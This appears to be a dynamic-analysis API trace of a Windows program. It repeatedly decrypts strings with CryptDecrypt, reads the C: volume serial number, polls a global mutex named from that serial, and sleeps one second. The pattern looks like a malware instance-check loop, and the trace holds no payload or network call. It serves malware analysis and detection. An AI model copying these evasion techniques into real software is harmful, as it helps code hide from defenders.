	[0249.932] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0249.932] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0249.932] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0249.933] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0249.933] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0249.933] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0249.933] CryptDestroyKey (hKey=0x645b78) returned 1
	[0249.933] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0249.933] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0249.933] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0249.933] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0249.933] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0249.933] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0249.933] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0249.933] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645e78) returned 1
	[0249.933] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0249.933] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0249.933] CryptDestroyKey (hKey=0x645e78) returned 1
	[0249.933] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0249.933] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0249.933] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0249.933] CloseHandle (hObject=0x3fc) returned 1
	[0249.933] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0249.933] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0249.933] Sleep (dwMilliseconds=0x3e8) 
	[0251.062] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0251.062] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d38) returned 1
	[0251.062] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0251.062] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0251.062] CryptDestroyKey (hKey=0x645d38) returned 1
	[0251.063] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0251.063] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0251.063] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0251.063] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645a38) returned 1
	[0251.063] CryptSetKeyParam (hKey=0x645a38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0251.063] CryptDecrypt (in: hKey=0x645a38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0251.063] CryptDestroyKey (hKey=0x645a38) returned 1
	[0251.063] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0251.063] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0251.063] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0251.063] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0251.063] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0251.063] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0251.063] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0251.063] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645e78) returned 1
	[0251.063] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0251.063] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0251.063] CryptDestroyKey (hKey=0x645e78) returned 1
	[0251.063] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0251.063] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0251.063] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0251.063] CloseHandle (hObject=0x3fc) returned 1
	[0251.063] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0251.063] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0251.063] Sleep (dwMilliseconds=0x3e8) 
	[0252.296] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0252.296] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d38) returned 1
	[0252.296] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0252.296] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0252.296] CryptDestroyKey (hKey=0x645d38) returned 1
	[0252.296] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0252.296] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0252.296] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0252.296] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645e78) returned 1
	[0252.296] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0252.296] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0252.296] CryptDestroyKey (hKey=0x645e78) returned 1
	[0252.296] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0252.296] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0252.296] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0252.296] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0252.296] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0252.296] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0252.296] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0252.296] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d38) returned 1
	[0252.296] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0252.296] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0252.296] CryptDestroyKey (hKey=0x645d38) returned 1
	[0252.296] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0252.296] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x540
	[0252.296] WaitForSingleObject (hHandle=0x540, dwMilliseconds=0x0) returned 0x102
	[0252.296] CloseHandle (hObject=0x540) returned 1
	[0252.296] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0252.297] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0252.297] Sleep (dwMilliseconds=0x3e8) 
	[0253.336] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0253.336] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d38) returned 1
	[0253.336] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0253.336] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0253.336] CryptDestroyKey (hKey=0x645d38) returned 1
	[0253.336] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0253.336] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0253.336] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0253.336] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0253.336] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0253.336] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0253.336] CryptDestroyKey (hKey=0x645b78) returned 1
	[0253.336] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0253.336] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0253.336] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0253.336] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0253.336] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0253.336] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0253.336] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0253.336] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645e78) returned 1
	[0253.336] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0253.336] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0253.336] CryptDestroyKey (hKey=0x645e78) returned 1
	[0253.336] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0253.336] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0253.336] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0253.336] CloseHandle (hObject=0x3fc) returned 1
	[0253.337] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0253.337] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0253.337] Sleep (dwMilliseconds=0x3e8) 
	[0254.461] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0254.461] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645f78) returned 1
	[0254.461] CryptSetKeyParam (hKey=0x645f78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0254.461] CryptDecrypt (in: hKey=0x645f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0254.461] CryptDestroyKey (hKey=0x645f78) returned 1
	[0254.461] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0254.462] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0254.462] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0254.462] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645878) returned 1
	[0254.462] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0254.462] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0254.462] CryptDestroyKey (hKey=0x645878) returned 1
	[0254.462] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0254.462] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0254.462] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0254.462] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0254.462] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0254.462] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0254.462] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0254.462] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645b78) returned 1
	[0254.462] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0254.462] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0254.462] CryptDestroyKey (hKey=0x645b78) returned 1
	[0254.462] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0254.462] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0254.462] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0254.462] CloseHandle (hObject=0x3fc) returned 1
	[0254.462] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0254.462] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0254.462] Sleep (dwMilliseconds=0x3e8) 
	[0255.829] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0255.829] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645ef8) returned 1
	[0255.829] CryptSetKeyParam (hKey=0x645ef8, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0255.829] CryptDecrypt (in: hKey=0x645ef8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0255.829] CryptDestroyKey (hKey=0x645ef8) returned 1
	[0255.829] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0255.829] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0255.829] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0255.829] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645878) returned 1
	[0255.829] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0255.829] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0255.829] CryptDestroyKey (hKey=0x645878) returned 1
	[0255.829] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0255.829] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0255.829] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0255.829] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0255.829] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0255.830] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0255.830] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0255.830] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645b78) returned 1
	[0255.830] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0255.830] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0255.830] CryptDestroyKey (hKey=0x645b78) returned 1
	[0255.830] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0255.830] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0255.830] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0255.830] CloseHandle (hObject=0x3fc) returned 1
	[0255.830] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0255.830] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0255.830] Sleep (dwMilliseconds=0x3e8) 
	[0256.906] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0256.906] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645878) returned 1
	[0256.906] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0256.906] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0256.906] CryptDestroyKey (hKey=0x645878) returned 1
	[0256.906] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0256.906] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0256.906] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0256.906] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645e78) returned 1
	[0256.906] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0256.906] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0256.906] CryptDestroyKey (hKey=0x645e78) returned 1
	[0256.907] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0256.907] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0256.907] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0256.907] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0256.907] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0256.907] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0256.907] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0256.907] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645b78) returned 1
	[0256.907] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0256.907] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0256.907] CryptDestroyKey (hKey=0x645b78) returned 1
	[0256.907] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0256.907] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0256.907] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0256.907] CloseHandle (hObject=0x3fc) returned 1
	[0256.907] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0256.907] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0256.907] Sleep (dwMilliseconds=0x3e8) 
